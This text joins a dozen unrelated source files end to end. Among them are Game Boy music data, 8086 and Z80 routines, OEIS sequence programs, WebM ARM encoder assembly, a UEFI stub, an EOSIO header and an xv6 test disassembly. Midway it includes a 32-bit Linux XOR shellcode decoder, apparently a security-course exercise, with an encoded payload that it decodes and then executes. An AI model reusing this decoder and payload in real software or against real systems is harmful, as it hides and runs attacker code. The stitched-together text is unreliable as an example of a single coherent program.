Music_MobileAdapterMenu: musicheader 3, 1, Music_MobileAdapterMenu_Ch1 musicheader 1, 2, Music_MobileAdapterMenu_Ch2 musicheader 1, 3, Music_MobileAdapterMenu_Ch3 Music_MobileAdapterMenu_Ch1: tempo 168 volume $77 tone $0001 stereopanning $f dutycycle $2 notetype $c, $66 note __, 2 Music_MobileAdapterMenu_branch_178038: callchannel Music_MobileAdapterMenu_branch_178057 callchannel Music_MobileAdapterMenu_branch_178076 octave 3 note F#, 4 note B_, 4 note F#, 2 note B_, 1 note __, 1 note D#, 4 callchannel Music_MobileAdapterMenu_branch_178076 octave 3 note F#, 2 octave 2 note B_, 2 octave 3 note D#, 3 note E_, 1 note D#, 8 callchannel Music_MobileAdapterMenu_branch_178057 loopchannel 0, Music_MobileAdapterMenu_branch_178038 Music_MobileAdapterMenu_branch_178057: octave 3 note G#, 7 octave 4 note E_, 1 note D#, 1 note __, 1 octave 3 note B_, 1 note __, 1 note F#, 4 note E_, 8 note D#, 1 note __, 1 note C#, 1 note __, 1 note D#, 4 note G#, 7 octave 4 note E_, 1 note D#, 1 note __, 1 octave 3 note B_, 1 note __, 1 note F#, 4 note A_, 2 note E_, 2 note A_, 3 note A_, 1 note G#, 8 endchannel Music_MobileAdapterMenu_branch_178076: note E_, 1 note __, 1 note A_, 1 note __, 1 octave 4 note C#, 3 octave 3 note B_, 1 note A_, 2 octave 4 note E_, 1 note __, 1 note C#, 4 endchannel Music_MobileAdapterMenu_Ch2: stereopanning $f0 notetype $c, $84 dutycycle $2 octave 4 note E_, 1 note G#, 1 Music_MobileAdapterMenu_branch_17808e: callchannel Music_MobileAdapterMenu_branch_1780ae note E_, 8 callchannel Music_MobileAdapterMenu_branch_1780d7 note D#, 2 note C#, 2 note D#, 3 note E_, 1 note F#, 8 callchannel Music_MobileAdapterMenu_branch_1780d7 note D#, 2 note E_, 2 note F#, 3 note G#, 1 note F#, 6 note E_, 1 note G#, 1 callchannel Music_MobileAdapterMenu_branch_1780ae note E_, 6 note E_, 1 note G#, 1 loopchannel 0, Music_MobileAdapterMenu_branch_17808e Music_MobileAdapterMenu_branch_1780ae: octave 4 note B_, 1 note __, 1 note B_, 1 note __, 1 note A_, 3 note G#, 1 note F#, 1 note __, 1 note D#, 1 note __, 1 octave 3 note B_, 4 octave 4 note C#, 2 note D#, 2 note E_, 3 note G#, 1 note F#, 6 note E_, 1 note G#, 1 note B_, 1 note __, 1 note B_, 1 note __, 1 note A_, 3 note G#, 1 note F#, 1 note __, 1 note D#, 1 note __, 1 octave 3 note B_, 4 octave 4 note C#, 2 octave 3 note B_, 2 octave 4 note C#, 3 note D#, 1 endchannel Music_MobileAdapterMenu_branch_1780d7: note A_, 1 note __, 1 note A_, 1 note __, 1 note G#, 3 note F#, 1 note E_, 2 note A_, 1 note __, 1 note E_, 4 endchannel Music_MobileAdapterMenu_Ch3: vibrato $8, $34 notetype $c, $25 note __, 2 Music_MobileAdapterMenu_branch_1780e9: callchannel Music_MobileAdapterMenu_branch_178119 octave 2 note B_, 1 note G#, 1 callchannel Music_MobileAdapterMenu_branch_178146 octave 2 note B_, 2 note __, 2 octave 3 note F#, 2 note __, 1 note D#, 1 note F#, 2 note D#, 1 note __, 1 octave 2 note B_, 2 note F#, 1 note G#, 1 callchannel Music_MobileAdapterMenu_branch_178146 octave 2 note B_, 2 note __, 2 octave 3 note F#, 2 note __, 1 note D#, 1 octave 2 note B_, 1 note __, 1 octave 3 note D#, 1 note __, 1 note F#, 4 callchannel Music_MobileAdapterMenu_branch_178119 note __, 2 loopchannel 0, Music_MobileAdapterMenu_branch_1780e9 Music_MobileAdapterMenu_branch_178119: octave 3 note E_, 2 note __, 2 note B_, 2 note __, 1 note G#, 1 note D#, 1 note __, 1 note B_, 1 note __, 1 note D#, 4 note C#, 2 note __, 2 note A_, 2 note __, 1 note F#, 1 octave 2 note B_, 1 note __, 1 octave 3 note D#, 1 note __, 1 note F#, 4 note E_, 2 note __, 2 note B_, 2 note __, 1 note G#, 1 note D#, 1 note __, 1 note B_, 1 note __, 1 note D#, 4 note C#, 2 note __, 2 note A_, 2 note __, 1 note C#, 1 note E_, 3 intensity $35 note E_, 3 intensity $25 endchannel Music_MobileAdapterMenu_branch_178146: note A_, 2 note __, 2 octave 3 note A_, 2 note __, 1 note C#, 1 note A_, 2 octave 4 note C#, 1 note __, 1 octave 3 note A_, 4 endchannel
; @Author: Piyush Mehta ; @Date: 2018-06-13 20:08:54 ; @Last Modified by: Rohit Nagraj ; @Last Modified time: 2019-02-21 08:45:01 assume cs:code,ds:data data segment x db 5,1,2,3,4 n dw n-x data ends code segment start: mov ax,data mov ds,ax mov cx,n dec cx next_pass: mov ah,0 mov dx,cx lea si,x next_cmp: mov al,[si] cmp al,[si+1] jle do_nothing mov ah,1 xchg al,[si+1] mov [si],al do_nothing: inc si dec dx jnz next_cmp cmp ah,0 je exit1 loop next_pass exit1: mov ah,4ch int 21h code ends end start
xor a ld hl, basescradr + #082f ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #08ad ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #08d6 ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0a0d ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0c0e ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0c8d ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #102e ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #08cd), a ld (basescradr + #08f5), a ld (basescradr + #09cd), a ld (basescradr + #09f5), a ld (basescradr + #0d30), a ld (basescradr + #0e30), a ld (basescradr + #0fb6), a ld (basescradr + #104e), a ld a, 64 ld (basescradr + #0d0d), a ld a, 112 ld (basescradr + #0e0d), a ld a, 126 ld (basescradr + #0f0d), a inc a ld hl, basescradr + #08ae ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #152f ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #082d), a ld (basescradr + #104f), a inc a ld (basescradr + #082e), a ld (basescradr + #0a96), a ld (basescradr + #0b2f), a ld (basescradr + #0d52), a ld (basescradr + #0eb6), a ld (basescradr + #0fd5), a ld (basescradr + #1132), a ld (basescradr + #1413), a ld (basescradr + #1631), a ld a, 63 ld hl, basescradr + #092d ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0dae ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #08ce), a ld (basescradr + #114f), a ld a, 240 ld (basescradr + #0895), a ld (basescradr + #092e), a ld (basescradr + #0ab6), a ld (basescradr + #0bb6), a ld (basescradr + #0bf4), a ld (basescradr + #0cd5), a ld (basescradr + #0e52), a ld (basescradr + #1431), a ld a, 252 ld hl, basescradr + #0d96 ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #0995), a ld (basescradr + #09f4), a ld (basescradr + #0a2e), a ld (basescradr + #0ad5), a ld (basescradr + #0d2f), a ld (basescradr + #0f52), a ld (basescradr + #1013), a ld (basescradr + #1331), a ld (basescradr + #1612), a ld a, 224 ld (basescradr + #0973), a ld (basescradr + #0b96), a ld (basescradr + #0c2f), a ld (basescradr + #0c74), a ld (basescradr + #0cf4), a ld (basescradr + #0dd5), a ld (basescradr + #1032), a ld (basescradr + #1213), a ld (basescradr + #1531), a ld a, 31 ld hl, basescradr + #084d ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #09ce ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #0e2d), a ld (basescradr + #0f2d), a ld a, 192 ld (basescradr + #0a51), a ld (basescradr + #0db6), a ld (basescradr + #0df4), a ld (basescradr + #0ed5), a ld (basescradr + #0f30), a ld (basescradr + #0f75), a ld (basescradr + #1150), a ld (basescradr + #1313), a ld a, 248 ld (basescradr + #0850), a ld (basescradr + #08b6), a ld (basescradr + #09b6), a ld (basescradr + #0a73), a ld (basescradr + #0af4), a ld (basescradr + #0b51), a ld (basescradr + #0bd5), a ld (basescradr + #0c96), a ld (basescradr + #0d74), a ld (basescradr + #1050), a ld (basescradr + #1113), a ld (basescradr + #1712), a ld a, 15 ld hl, basescradr + #0b4d ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #08ee), a ld (basescradr + #09ee), a ld (basescradr + #0ece), a ld (basescradr + #0fce), a ld a, 254 ld (basescradr + #09d5), a ld (basescradr + #0c51), a ld (basescradr + #0e74), a ld (basescradr + #1512), a ld (basescradr + #1730), a inc a ld hl, basescradr + #0872 ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0894 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0a95 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0b73 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #1031 ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #1330 ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #08b5), a ld (basescradr + #09b5), a ld (basescradr + #0d51), a ld (basescradr + #0e51), a ld (basescradr + #0f74), a ld (basescradr + #1412), a ld a, 7 ld hl, basescradr + #086d ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #0aee ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #0f4d), a ld a, 3 ld hl, basescradr + #0c6d ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld hl, basescradr + #100e ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld (basescradr + #0fee), a ld a, 1 ld hl, basescradr + #140e ld (hl), a inc h ld (hl), a inc h ld (hl), a inc h ld (hl), a ld a, 28 ld (basescradr + #124f), a ret
; A163655: a(n) = n*(2*n^2 + 5*n + 13)/2. ; 0,10,31,69,130,220,345,511,724,990,1315,1705,2166,2704,3325,4035,4840,5746,6759,7885,9130,10500,12001,13639,15420,17350,19435,21681,24094,26680,29445,32395,35536,38874,42415,46165,50130,54316,58729,63375,68260,73390,78771,84409,90310,96480,102925,109651,116664,123970,131575,139485,147706,156244,165105,174295,183820,193686,203899,214465,225390,236680,248341,260379,272800,285610,298815,312421,326434,340860,355705,370975,386676,402814,419395,436425,453910,471856,490269,509155,528520,548370,568711,589549,610890,632740,655105,677991,701404,725350,749835,774865,800446,826584,853285,880555,908400,936826,965839,995445,1025650,1056460,1087881,1119919,1152580,1185870,1219795,1254361,1289574,1325440,1361965,1399155,1437016,1475554,1514775,1554685,1595290,1636596,1678609,1721335,1764780,1808950,1853851,1899489,1945870,1993000,2040885,2089531,2138944,2189130,2240095,2291845,2344386,2397724,2451865,2506815,2562580,2619166,2676579,2734825,2793910,2853840,2914621,2976259,3038760,3102130,3166375,3231501,3297514,3364420,3432225,3500935,3570556,3641094,3712555,3784945,3858270,3932536,4007749,4083915,4161040,4239130,4318191,4398229,4479250,4561260,4644265,4728271,4813284,4899310,4986355,5074425,5163526,5253664,5344845,5437075,5530360,5624706,5720119,5816605,5914170,6012820,6112561,6213399,6315340,6418390,6522555,6627841,6734254,6841800,6950485,7060315,7171296,7283434,7396735,7511205,7626850,7743676,7861689,7980895,8101300,8222910,8345731,8469769,8595030,8721520,8849245,8978211,9108424,9239890,9372615,9506605,9641866,9778404,9916225,10055335,10195740,10337446,10480459,10624785,10770430,10917400,11065701,11215339,11366320,11518650,11672335,11827381,11983794,12141580,12300745,12461295,12623236,12786574,12951315,13117465,13285030,13454016,13624429,13796275,13969560,14144290,14320471,14498109,14677210,14857780,15039825,15223351,15408364,15594870 mov $3,5 lpb $0 sub $0,1 add $1,5 add $2,$3 add $1,$2 add $3,6 lpe
; ; Copyright (c) 2010 The WebM project authors. All Rights Reserved. ; ; Use of this source code is governed by a BSD-style license ; that can be found in the LICENSE file in the root of the source ; tree. An additional intellectual property rights grant can be found ; in the file PATENTS. All contributing project authors may ; be found in the AUTHORS file in the root of the source tree. ; EXPORT |vp8_start_encode| EXPORT |vp8_encode_bool| EXPORT |vp8_stop_encode| EXPORT |vp8_encode_value| INCLUDE vpx_vp8_enc_asm_offsets.asm ARM REQUIRE8 PRESERVE8 AREA |.text|, CODE, READONLY ; r0 BOOL_CODER *br ; r1 unsigned char *source |vp8_start_encode| PROC mov r12, #0 mov r3, #255 mvn r2, #23 str r12, [r0, #vp8_writer_lowvalue] str r3, [r0, #vp8_writer_range] str r12, [r0, #vp8_writer_value] str r2, [r0, #vp8_writer_count] str r12, [r0, #vp8_writer_pos] str r1, [r0, #vp8_writer_buffer] bx lr ENDP ; r0 BOOL_CODER *br ; r1 int bit ; r2 int probability |vp8_encode_bool| PROC push {r4-r9, lr} mov r4, r2 ldr r2, [r0, #vp8_writer_lowvalue] ldr r5, [r0, #vp8_writer_range] ldr r3, [r0, #vp8_writer_count] sub r7, r5, #1 ; range-1 cmp r1, #0 mul r4, r4, r7 ; ((range-1) * probability) mov r7, #1 add r4, r7, r4, lsr #8 ; 1 + (((range-1) * probability) >> 8) addne r2, r2, r4 ; if (bit) lowvalue += split subne r4, r5, r4 ; if (bit) range = range-split ; Counting the leading zeros is used to normalize range. clz r6, r4 sub r6, r6, #24 ; shift ; Flag is set on the sum of count. This flag is used later ; to determine if count >= 0 adds r3, r3, r6 ; count += shift lsl r5, r4, r6 ; range <<= shift bmi token_count_lt_zero ; if(count >= 0) sub r6, r6, r3 ; offset = shift - count sub r4, r6, #1 ; offset-1 lsls r4, r2, r4 ; if((lowvalue<<(offset-1)) & 0x80000000 ) bpl token_high_bit_not_set ldr r4, [r0, #vp8_writer_pos] ; x sub r4, r4, #1 ; x = w->pos-1 b token_zero_while_start token_zero_while_loop mov r9, #0 strb r9, [r7, r4] ; w->buffer[x] =(unsigned char)0 sub r4, r4, #1 ; x-- token_zero_while_start cmp r4, #0 ldrge r7, [r0, #vp8_writer_buffer] ldrb r1, [r7, r4] cmpge r1, #0xff beq token_zero_while_loop ldr r7, [r0, #vp8_writer_buffer] ldrb r9, [r7, r4] ; w->buffer[x] add r9, r9, #1 strb r9, [r7, r4] ; w->buffer[x] + 1 token_high_bit_not_set rsb r4, r6, #24 ; 24-offset ldr r9, [r0, #vp8_writer_buffer] lsr r7, r2, r4 ; lowvalue >> (24-offset) ldr r4, [r0, #vp8_writer_pos] ; w->pos lsl r2, r2, r6 ; lowvalue <<= offset mov r6, r3 ; shift = count add r1, r4, #1 ; w->pos++ bic r2, r2, #0xff000000 ; lowvalue &= 0xffffff str r1, [r0, #vp8_writer_pos] sub r3, r3, #8 ; count -= 8 strb r7, [r9, r4] ; w->buffer[w->pos++] token_count_lt_zero lsl r2, r2, r6 ; lowvalue <<= shift str r2, [r0, #vp8_writer_lowvalue] str r5, [r0, #vp8_writer_range] str r3, [r0, #vp8_writer_count] pop {r4-r9, pc} ENDP ; r0 BOOL_CODER *br |vp8_stop_encode| PROC push {r4-r10, lr} ldr r2, [r0, #vp8_writer_lowvalue] ldr r5, [r0, #vp8_writer_range] ldr r3, [r0, #vp8_writer_count] mov r10, #32 stop_encode_loop sub r7, r5, #1 ; range-1 mov r4, r7, lsl #7 ; ((range-1) * 128) mov r7, #1 add r4, r7, r4, lsr #8 ; 1 + (((range-1) * 128) >> 8) ; Counting the leading zeros is used to normalize range. clz r6, r4 sub r6, r6, #24 ; shift ; Flag is set on the sum of count. This flag is used later ; to determine if count >= 0 adds r3, r3, r6 ; count += shift lsl r5, r4, r6 ; range <<= shift bmi token_count_lt_zero_se ; if(count >= 0) sub r6, r6, r3 ; offset = shift - count sub r4, r6, #1 ; offset-1 lsls r4, r2, r4 ; if((lowvalue<<(offset-1)) & 0x80000000 ) bpl token_high_bit_not_set_se ldr r4, [r0, #vp8_writer_pos] ; x sub r4, r4, #1 ; x = w->pos-1 b token_zero_while_start_se token_zero_while_loop_se mov r9, #0 strb r9, [r7, r4] ; w->buffer[x] =(unsigned char)0 sub r4, r4, #1 ; x-- token_zero_while_start_se cmp r4, #0 ldrge r7, [r0, #vp8_writer_buffer] ldrb r1, [r7, r4] cmpge r1, #0xff beq token_zero_while_loop_se ldr r7, [r0, #vp8_writer_buffer] ldrb r9, [r7, r4] ; w->buffer[x] add r9, r9, #1 strb r9, [r7, r4] ; w->buffer[x] + 1 token_high_bit_not_set_se rsb r4, r6, #24 ; 24-offset ldr r9, [r0, #vp8_writer_buffer] lsr r7, r2, r4 ; lowvalue >> (24-offset) ldr r4, [r0, #vp8_writer_pos] ; w->pos lsl r2, r2, r6 ; lowvalue <<= offset mov r6, r3 ; shift = count add r1, r4, #1 ; w->pos++ bic r2, r2, #0xff000000 ; lowvalue &= 0xffffff str r1, [r0, #vp8_writer_pos] sub r3, r3, #8 ; count -= 8 strb r7, [r9, r4] ; w->buffer[w->pos++] token_count_lt_zero_se lsl r2, r2, r6 ; lowvalue <<= shift subs r10, r10, #1 bne stop_encode_loop str r2, [r0, #vp8_writer_lowvalue] str r5, [r0, #vp8_writer_range] str r3, [r0, #vp8_writer_count] pop {r4-r10, pc} ENDP ; r0 BOOL_CODER *br ; r1 int data ; r2 int bits |vp8_encode_value| PROC push {r4-r11, lr} mov r10, r2 ldr r2, [r0, #vp8_writer_lowvalue] ldr r5, [r0, #vp8_writer_range] ldr r3, [r0, #vp8_writer_count] rsb r4, r10, #32 ; 32-n ; v is kept in r1 during the token pack loop lsl r1, r1, r4 ; r1 = v << 32 - n encode_value_loop sub r7, r5, #1 ; range-1 ; Decisions are made based on the bit value shifted ; off of v, so set a flag here based on this. ; This value is refered to as "bb" lsls r1, r1, #1 ; bit = v >> n mov r4, r7, lsl #7 ; ((range-1) * 128) mov r7, #1 add r4, r7, r4, lsr #8 ; 1 + (((range-1) * 128) >> 8) addcs r2, r2, r4 ; if (bit) lowvalue += split subcs r4, r5, r4 ; if (bit) range = range-split ; Counting the leading zeros is used to normalize range. clz r6, r4 sub r6, r6, #24 ; shift ; Flag is set on the sum of count. This flag is used later ; to determine if count >= 0 adds r3, r3, r6 ; count += shift lsl r5, r4, r6 ; range <<= shift bmi token_count_lt_zero_ev ; if(count >= 0) sub r6, r6, r3 ; offset = shift - count sub r4, r6, #1 ; offset-1 lsls r4, r2, r4 ; if((lowvalue<<(offset-1)) & 0x80000000 ) bpl token_high_bit_not_set_ev ldr r4, [r0, #vp8_writer_pos] ; x sub r4, r4, #1 ; x = w->pos-1 b token_zero_while_start_ev token_zero_while_loop_ev mov r9, #0 strb r9, [r7, r4] ; w->buffer[x] =(unsigned char)0 sub r4, r4, #1 ; x-- token_zero_while_start_ev cmp r4, #0 ldrge r7, [r0, #vp8_writer_buffer] ldrb r11, [r7, r4] cmpge r11, #0xff beq token_zero_while_loop_ev ldr r7, [r0, #vp8_writer_buffer] ldrb r9, [r7, r4] ; w->buffer[x] add r9, r9, #1 strb r9, [r7, r4] ; w->buffer[x] + 1 token_high_bit_not_set_ev rsb r4, r6, #24 ; 24-offset ldr r9, [r0, #vp8_writer_buffer] lsr r7, r2, r4 ; lowvalue >> (24-offset) ldr r4, [r0, #vp8_writer_pos] ; w->pos lsl r2, r2, r6 ; lowvalue <<= offset mov r6, r3 ; shift = count add r11, r4, #1 ; w->pos++ bic r2, r2, #0xff000000 ; lowvalue &= 0xffffff str r11, [r0, #vp8_writer_pos] sub r3, r3, #8 ; count -= 8 strb r7, [r9, r4] ; w->buffer[w->pos++] token_count_lt_zero_ev lsl r2, r2, r6 ; lowvalue <<= shift subs r10, r10, #1 bne encode_value_loop str r2, [r0, #vp8_writer_lowvalue] str r5, [r0, #vp8_writer_range] str r3, [r0, #vp8_writer_count] pop {r4-r11, pc} ENDP END
; ; Copyright (c) 2013 Sirius Corporation ; Nelson Sapalo da Siva Cole ; Lubango, 29 de Julho de 2019 - Hora: 02h32 ; File Name: crt032.asm ; ; Inicializar um UEFI_Loader IA32 (i386) ; Handoff State: ; ESP + 8 – EFI_SYSTEM_TABLE* ; ESP + 4 – EFI_HANDLE ; ESP - <return address> bits 32 section .text global _start extern _efi_main ;same defined reference in PE+ object _start: ; i386 mov ebx, [esp+8] ;EFI_SYSTEM_TABLE* mov eax, [esp+4] ;EFI_HANDLE mov ecx,[esp] mov dword[_pp],ecx push ebx push eax call _efi_main add esp,8 ret global _OS_LoaderI32 _OS_LoaderI32: mov eax,[esp+4] mov ebx,[esp+8] cli push ebx push ss push esp pushf push cs push eax iretd section .reloc section .data global _pp _pp dd 0
; Executable name : xor-decoder2 ; Designed OS : Linux (32-bit) ; Author : wetw0rk ; Version : 1.0 ; Created Following : SLAE ; Description : An example of xor encoded shellcode ; without static counter. 36 bytes vs 39 ; SECTION .text global _start _start: jmp short call_decoder ; JMP to call_decoder decoder: pop ebx ; POP our shellcode address ; into EBX decode: xor byte [ebx],0xAA ; XOR every byte in EBX with ; 0xAA jz shellcode ; if the ZF flag is set jump ; to the decoded shellcode ; xor 0xaa,0xaa = 0 :) inc ebx ; if ZF flag not set continue ; increment jmp short decode ; make a short JMP to loop back call_decoder: call decoder ; CALL the decoder shellcode: db 0x9b,0x6a,0xfa,0xc2,0x85,0x85,0xd9,0xc2 ; prevously encoded db 0xc2,0x85,0xc8,0xc3,0xc4,0x1a,0xa1,0x23 ; shellcode. plus db 0x49,0x67,0x2a,0xaa ; 0xaa appended
; A020332: Numbers whose base-4 representation is the juxtaposition of two identical strings. ; 5,10,15,68,85,102,119,136,153,170,187,204,221,238,255,1040,1105,1170,1235,1300,1365,1430,1495,1560,1625,1690,1755,1820,1885,1950,2015,2080,2145,2210,2275,2340,2405,2470,2535,2600,2665,2730,2795,2860,2925,2990 mov $11,$0 mov $13,$0 add $13,1 lpb $13 mov $0,$11 sub $13,1 sub $0,$13 mov $7,$0 mov $9,2 lpb $9 clr $0,7 mov $0,$7 sub $9,1 add $0,$9 sub $0,1 mov $2,$0 mov $4,$0 add $0,1 lpb $2 mov $5,2 lpb $4 mov $1,4 mov $4,16 sub $4,$5 lpe add $1,1 lpb $5 mul $1,$0 sub $5,$5 lpe sub $2,$2 add $2,2 lpe mov $10,$9 lpb $10 mov $8,$1 sub $10,1 lpe lpe lpb $7 mov $7,0 sub $8,$1 lpe mov $1,$8 mul $1,12 add $1,5 add $12,$1 lpe mov $1,$12
; QL Arithmetic Square Root V2.01  1990 Tony Tebby QJUMP section qa xdef qa_sqrt include 'dev8_keys_err' ;+++ ; QL Arithmetic: Square Root ; ; This routine takes the square root of TOS. Algorithm TT ; ; d0 r error return 0 or ERR.IEXP ; a1 c p pointer to arithmetic stack ; status return standard ;--- qa_sqrt qsq.reg reg d1/d2/d3 move.l 2(a1),d0 ; negative square root? bgt.s qsq_exp ; ... no beq.s qsq_rts ; ... no, nothing moveq #err.iexp,d0 qsq_rts rts qsq_exp movem.l qsq.reg,-(sp) move.w (a1),d2 qsq_norm add.l d0,d0 ; move mantissa up bmi.s qsq_exp2 ; ... ok, halve exponent subq.w #1,d2 ; negative exp!! bra.s qsq_norm qsq_exp2 add.l d0,d0 ; get rid of the bit we know about add.w #$801,d2 ; double the offset lsr.w #1,d2 roxr.l #1,d0 ; (x-1)/2 (0.5 to 0.99999 is negative) bge.s qsq_sexp asr.l #1,d0 qsq_sexp move.w d2,(a1) ; save exponent move.l d0,d1 swap d1 asr.w #1,d1 move.w d1,d2 ; 0.25x asr.w #1,d2 add.w d1,d2 ; 0.375x muls d1,d2 ; 0.09375x^2 (MSW) swap d2 sub.w d1,d2 ; -0.25x+0.09375x^2 muls d1,d2 ; -0.0625x^2+0.0234375x^3 (MSW) clr.w d2 swap d2 add.w d1,d2 ; (+0.5x-0.125x^2+0.046875x^3)/2 add.w #$7f87,d2 ; (.9963+0.5x-0.125x^2+0.046875x^3)/2 ; d2.w is now msw of result accurate to 7 bits bchg #31,d0 beq.s qsq_upper add.w d2,d2 ; other half! move.l d0,d1 divu d2,d1 swap d1 clr.w d1 swap d1 lsr.l #1,d2 ; second approximation add.w d1,d2 bcc.s qsq_app3 bset #31,d0 ; trivial move.l d0,d2 bra.s qsq_res qsq_app3 divu d2,d0 ; msw of half third approx in LSW move.l d0,d1 clr.w d1 divu d2,d1 ; lsw of half third approx in LSW swap d0 move.w d1,d0 swap d2 lsr.l #1,d2 add.l d0,d2 ; third approx bra.s qsq_res qsq_upper lsr.l #1,d0 qsq_app2 move.l d0,d1 divu d2,d1 swap d1 clr.w d1 swap d1 add.l d1,d2 lsr.l #1,d2 ; second approximation divu d2,d0 ; msw of half third approx in LSW move.l d0,d1 clr.w d1 divu d2,d1 ; lsw of half third approx in LSW swap d0 move.w d1,d0 swap d2 add.l d0,d2 ; twice third approx roxr.l #1,d2 ; third approx qsq_res lsr.l #1,d2 ; normalised bcc.s qsq_ok addq.l #1,d2 ; add carry bpl.s qsq_ok lsr.l #1,d2 ; and re-normalise addq.w #1,(a1) qsq_ok move.l d2,2(a1) moveq #0,d0 qsq_exit movem.l (sp)+,qsq.reg rts end
#pragma once #include <eosio/chain/types.hpp> #include <eosio/chain/config.hpp> #include "multi_index_includes.hpp" namespace eosio { namespace chain { /** * This class accumulates an average value taking periodic inputs. * * The average value returns to 0 after WindowMS without any updates and * decays linerally if updates occur in the middle of a window before adding * the new value. * * The value stored is Precision times the sum of the inputs. */ template<uint32_t WindowMs, uint64_t Precision = config::rate_limiting_precision> struct average_accumulator { time_point last_update; uint64_t value = 0; /** * return the average value in rate_limiting_precision */ uint64_t average()const { return value / WindowMs; } void add_usage( uint64_t units, time_point now ) { if( now != last_update ) { auto elapsed = now - last_update; if( elapsed > fc::milliseconds(WindowMs) ) { value = 0; } else if( elapsed > fc::days(0) ) { value *= (fc::milliseconds(WindowMs) - elapsed).count(); value /= fc::milliseconds(WindowMs).count(); } last_update = now; } value += units * Precision; } }; /** * Every account that authorizes a transaction is billed for the full size of that transaction. This object * tracks the average usage of that account. */ struct bandwidth_usage_object : public chainbase::object<bandwidth_usage_object_type, bandwidth_usage_object> { OBJECT_CTOR(bandwidth_usage_object) id_type id; account_name owner; average_accumulator<config::bandwidth_average_window_ms> bytes; average_accumulator<config::compute_average_window_ms> acts; ///< tracks a logical number of actions processed /** * If 'owner' is a smart contract, then all increases / decreases in storage by that executing code should * update this value. */ uint64_t db_usage = 0; }; /** * Every account that authorizes a transaction calls add_usage( num_scopes_referenced^2, now ), for each * of the scopes. Referencing more scopes will result in exponential usage of compute bandwidth. */ class compute_usage_object : public chainbase::object<compute_usage_object_type, compute_usage_object> { OBJECT_CTOR(compute_usage_object) id_type id; account_name owner; scope_name scope; average_accumulator<config::compute_average_window_ms> actions; void add_usage( uint32_t actions, time_point now ); }; struct by_owner; using bandwidth_usage_index = chainbase::shared_multi_index_container< bandwidth_usage_object, indexed_by< ordered_unique<tag<by_id>, member<bandwidth_usage_object, bandwidth_usage_object::id_type, &bandwidth_usage_object::id>>, ordered_unique<tag<by_owner>, member<bandwidth_usage_object, account_name, &bandwidth_usage_object::owner> > > >; struct by_scope_owner; using compute_usage_index = chainbase::shared_multi_index_container< compute_usage_object, indexed_by< ordered_unique<tag<by_id>, member<compute_usage_object, compute_usage_object::id_type, &compute_usage_object::id>>, ordered_unique<tag<by_scope_owner>, composite_key<compute_usage_object, member<compute_usage_object, scope_name, &compute_usage_object::scope>, member<compute_usage_object, account_name, &compute_usage_object::owner> > > > >; } } /// eosio::chain CHAINBASE_SET_INDEX_TYPE(eosio::chain::bandwidth_usage_object, eosio::chain::bandwidth_usage_index) CHAINBASE_SET_INDEX_TYPE(eosio::chain::compute_usage_object, eosio::chain::compute_usage_index)
_usertests: file format elf32-i386 Disassembly of section .text: 00000000 <main>: return randstate; } int main(int argc, char *argv[]) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp 7: ff 71 fc pushl -0x4(%ecx) a: 55 push %ebp b: 89 e5 mov %esp,%ebp d: 51 push %ecx e: 83 ec 0c sub $0xc,%esp printf(1, "usertests starting\n"); 11: 68 a6 4d 00 00 push $0x4da6 16: 6a 01 push $0x1 18: e8 43 3a 00 00 call 3a60 <printf> if (open("usertests.ran", 0) >= 0) { 1d: 59 pop %ecx 1e: 58 pop %eax 1f: 6a 00 push $0x0 21: 68 ba 4d 00 00 push $0x4dba 26: e8 d6 38 00 00 call 3901 <open> 2b: 83 c4 10 add $0x10,%esp 2e: 85 c0 test %eax,%eax 30: 78 13 js 45 <main+0x45> printf(1, "already ran user tests -- rebuild fs.img\n"); 32: 52 push %edx 33: 52 push %edx 34: 68 24 55 00 00 push $0x5524 39: 6a 01 push $0x1 3b: e8 20 3a 00 00 call 3a60 <printf> exit(); 40: e8 7c 38 00 00 call 38c1 <exit> } close(open("usertests.ran", O_CREATE)); 45: 50 push %eax 46: 50 push %eax 47: 68 00 02 00 00 push $0x200 4c: 68 ba 4d 00 00 push $0x4dba 51: e8 ab 38 00 00 call 3901 <open> 56: 89 04 24 mov %eax,(%esp) 59: e8 8b 38 00 00 call 38e9 <close> argptest(); 5e: e8 5d 35 00 00 call 35c0 <argptest> createdelete(); 63: e8 a8 11 00 00 call 1210 <createdelete> 